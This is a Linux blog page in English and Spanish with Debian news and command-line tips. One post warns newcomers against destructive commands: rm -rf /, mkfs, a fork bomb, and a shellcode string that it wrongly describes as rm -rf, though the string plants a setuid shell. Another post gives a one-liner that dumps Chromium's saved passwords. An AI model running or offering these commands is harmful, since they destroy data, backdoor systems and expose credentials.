
Wheezy
This day I read, via the Debian Devel announce list, that the next version of Debian already has a name, and will be “wheezy“
Debian rocks!! ![]()
Mis andanzas y malandanzas en GNU/Linux…

Wheezy
This day I read, via the Debian Devel announce list, that the next version of Debian already has a name, and will be “wheezy“
Debian rocks!! ![]()
I began my journey into the world of Debian approximately 2 years ago ( I’m not very good at remembering dates
) from the start one of my main objectives is to collaborate with the project and not simply be a standard user, the best way to do it is to keep packages (starting from the point that my work is to develop applications and edit code is what I do day to day).
But I never decided to take the plunge and adopt a package, until I decided that was the right time, already had some knowledge of Debian packaging, I had read Debian New Maintainers’ Guide and Debian Developer’s Reference. Unfortunately when I decided to do so and already had everything ready to find a mentor, Debian enters the freezing stage, in this state no packets are uploaded to unstable unless they are to fix a RC bug
So I have to wait until the release of squeeze and some mentor have mercy of my soul and upload packages for me
This is my first step in the process of becoming a Debian Developer, so I hope to share the progress
Cheers!!
Una característica que usaba en firefox era la de proteger las contraseñas con una «contraseña maestra», cuando se activa esta característica firefox se encarga de encriptar todas las contraseñas almacenadas en el disco, y firefox pregunta por la contraseña maestra cuando necesita acceder a las contraseñas almacenadas. Cuando no se utiliza el navegador las contraseñas están seguras. Aun así hay herramientas para obtener la contraseña maestra de firefox por la «fuerza bruta», pero si tienes una contraseña lo suficientemente robusta no tendrías por que preocuparte
para mas información (en ingles) mira http://kb.mozillazine.org/Master_password.
A que viene todo esto?, pues desde hace ya varios días decidí cambiar de navegador, por lo que ahora utilizo Chromium, si tu también lo utilizas habrás notado que carece de la característica que mencionaba anteriormente de firefox, en esencia las contraseñas son almacenadas en una base de datos de sqlite en ‘~/.config/chromium/Default/Web Data’, mostrar las contraseñas es increíblemente fácil (estoy usando Chromium 5.0.342.9~r43360-0ubuntu2 en Ubuntu 10.04 LTS)
1 | $ echo 'SELECT username_value, password_value FROM logins;' | sqlite3 ~/.config/chromium/Default/Web\ Data | grep -v '^|$' |
Como puedes ver las contraseñas son almacenadas en texto plano (aunque el directorio ~/.config/chromium tiene permisos 0700). Desconosco el por que esta funcion no se ha implementado, es un bug? podría ser, pero esta claro que:

Bill Gates se cambio a Ubuntu??
No cabe duda que de todas las imágenes que circulan por la red para promocionar Linux (o una distro como es este caso), esta me ha parecido de lo mas graciosa
. Juzguen ustedes.
Saludos!!
Es muy común cuando nos iniciamos en el maravilloso mundo de GNU/Linux leer mucha documentación especialmente cuando se requiere un amplio dominio de los comandos esenciales, para esto existen las paginas de ayuda (aka man pages), por lo general esta información suele ser muy amplia y a veces resulta muy engorroso leer gran cantidad de paginas de ayuda.
Una manera un poco mas agradable para la lectura es incorporar color, esto se logra con un simple Copy/Paste (Copiar/Pegar) del siguiente código:
1 2 3 4 5 6 7 8 | # Less Colors for Man Pages export LESS_TERMCAP_mb=$'\E[01;31m' # begin blinking export LESS_TERMCAP_md=$'\E[01;38;5;74m' # begin bold export LESS_TERMCAP_me=$'\E[0m' # end mode export LESS_TERMCAP_se=$'\E[0m' # end standout-mode export LESS_TERMCAP_so=$'\E[38;5;246m' # begin standout-mode - info box export LESS_TERMCAP_ue=$'\E[0m' # end underline export LESS_TERMCAP_us=$'\E[04;38;5;146m' # begin underline |
Si lo prefieres puedes hacer esta configuración permanente editando tu archivo ~/.bashrc
Saludos!!
Si alguna vez te ha sucedido que procedes a actualizar tu sistema Debian (también aplica para los derivados) y utilizas Apt para hacer el trabajo, habrás notado que por defecto Apt usa todo el ancho de banda disponible, haciendo de la navegación una tarea casi imposible
Sin embargo existe una forma muy cómoda de limitar el ancho de banda, lo cual se hace de la siguiente manera:
En una consola ingresar los siguientes parámetros al comando Apt.
1 | # apt-get -o Acquire::http::Dl-Limit=15 dist-upgrade |
o bien
1 | # apt-get -o Acquire::http::Dl-Limit=15 update |
o
1 | # apt-get -o Acquire::http::Dl-Limit=15 install vim |
Claro debes cambiar el limite para que se ajuste a tus necesidades en el ejemplo lo he establecido a 15, y eso es todo, podrás actualizar tu sistema y navegar al mismo tiempo
espero que esta información te sea tan útil como lo fue para mi.
Saludos!!
Cuando una persona es nueva en el mundo de Linux, es muy probable encontrarse con personas mal intencionadas que intentaran engañarlo a través de foros, chats, etc. para que por medio de comandos usted pueda dañar sus archivos, equipo o peor aun el sistema operativo por completo, para evitar que esta situación peligrosa pueda ocurrir, he aquí una lista de comandos sumamente peligrosos en Linux y que usted debería evitar.
1. rm -rf /
Este comando forzara a borrar recursivamente todos los archivos dentro del directorio raíz.
2. char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
Esta es la versión en hexadecimal de [rm-rf /] que pueden engañar incluso a los usuarios más experimentados de Linux.
3. mkfs.ext3 /dev/sda
Esto reformateara todos los archivos del dispositivo que se menciona después del comando mkfs.
4. : (){:|:&};:
Conocido como «forkbom», este comando le dirá a su sistema que ejecute un gran numero de procesos hasta que el sistema se congele, esto a menudo puede conducir a la corrupción de datos.
5. mv /home/yourhomedirectory/* /dev/null
Este comando moverá todos los archivos almacenados dentro de su directorio personal a un lugar que no existe, por lo que nunca volvería a ver sus archivos de nuevo.
Por supuesto hay muchos otros comandos que son peligrosos en Linux que no se mencionan aquí, así que si tienes algo que añadir, por favor, compártelo con nosotros a través de comentarios.
PD: No me hago responsable por pedida de datos al ejecutar algún comando mencionado en este post en un entorno Linux de producción
, si realmente quiere probar alguno de estos comandos te recomiendo que lo hagas por medio de una maquina virtual. Están advertidos.
Saludos!!
Un comando de mucha utilidad si queremos conocer detalles sobre nuestro hardware es lshw, la forma de uso es sencilla
lshw [formato] [opciones... ]
donde formato puede ser:
-X Inicia la GUI (si esta disponible)
-html activa el modo HTML
-xml activa el modo XML
-short muestra rutas del hardware
-businfo muestra información del bus
y opciones puede ser:
-enable TEST habilita las pruebas
-disable TEST deshabilita las pruebas
-class CLASS limita la salida a una clase
-C CLASS alias para -class CLASS
un ejemplo sencillo de uso seria ejecutar lo siguiente en una terminal:
lshw -C cpu
Con esto estamos indicando que nos muestre la información de la clase CPU, por lo tanto nos mostrara la información disponible de nuestro procesador, en mi caso devolvió lo siguiente
*-cpu
description: CPU
product: Intel(R) Celeron(R) D CPU 3.06GHz
vendor: Intel Corp.
physical id: 4
bus info: cpu@0
version: 15.6.5
serial: 0000-0F65-0000-0000-0000-0000
slot: Socket 775
size: 3066MHz
capacity: 4GHz
width: 64 bits
clock: 133MHz
capabilities: boot fpu fpu_exception wp vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe nx x86-64 constant_tsc up pebs bts pni dtes64 monitor ds_cpl cid cx16 xtpr pdcm lahf_lm
configuration: id=0
Existen mas combinaciones disponibles, para obtener información de diferentes dispositivos de hardware, quieres saber mas?
man lshw
además puedes encontrar mas información aquí
Saludos!!
Dejo algunas capturas de pantalla de mi escritorio correspondiente al mes de octubre
En planet ubuntu vi un meme acerca del uso de paquetes que no son libres, me parecio bueno para medir cuan dependiente somos del software no libre, aquí están mis resultados:
williams@anubis:~$ vrms
Non-free packages installed on anubis
fglrx-modaliases Identifiers supported by the ATI graphics driver
linux-generic Complete Generic Linux kernel
linux-restricted-modules- Non-free Linux 2.6.28 modules helper script
linux-restricted-modules- Restricted Linux modules for generic kernels
nvidia-173-modaliases Modaliases for the NVIDIA binary X.Org driver
nvidia-180-modaliases Modaliases for the NVIDIA binary X.Org driver
nvidia-71-modaliases Modaliases for the NVIDIA binary X.Org driver
nvidia-96-modaliases Modaliases for the NVIDIA binary X.Org driver
tangerine-icon-theme Tangerine Icon theme
Non-free packages with status other than installed on anubis
nvidia-180-libvdpau ( dei) Video Decode and Presentation API for Unix
nvidia-glx-180 ( dei) NVIDIA binary Xorg driver
Contrib packages installed on anubis
flashplugin-installer Adobe Flash Player plugin installer
nvidia-common Find obsolete NVIDIA drivers
Contrib packages with status other than installed on anubis
nvidia-settings ( dei) Tool of configuring the NVIDIA graphics driver
11 non-free packages, 0.7% of 1683 installed packages.
3 contrib packages, 0.2% of 1683 installed packages.
Saludos!!
Bad Behavior has blocked 98 access attempts in the last 7 days.
:)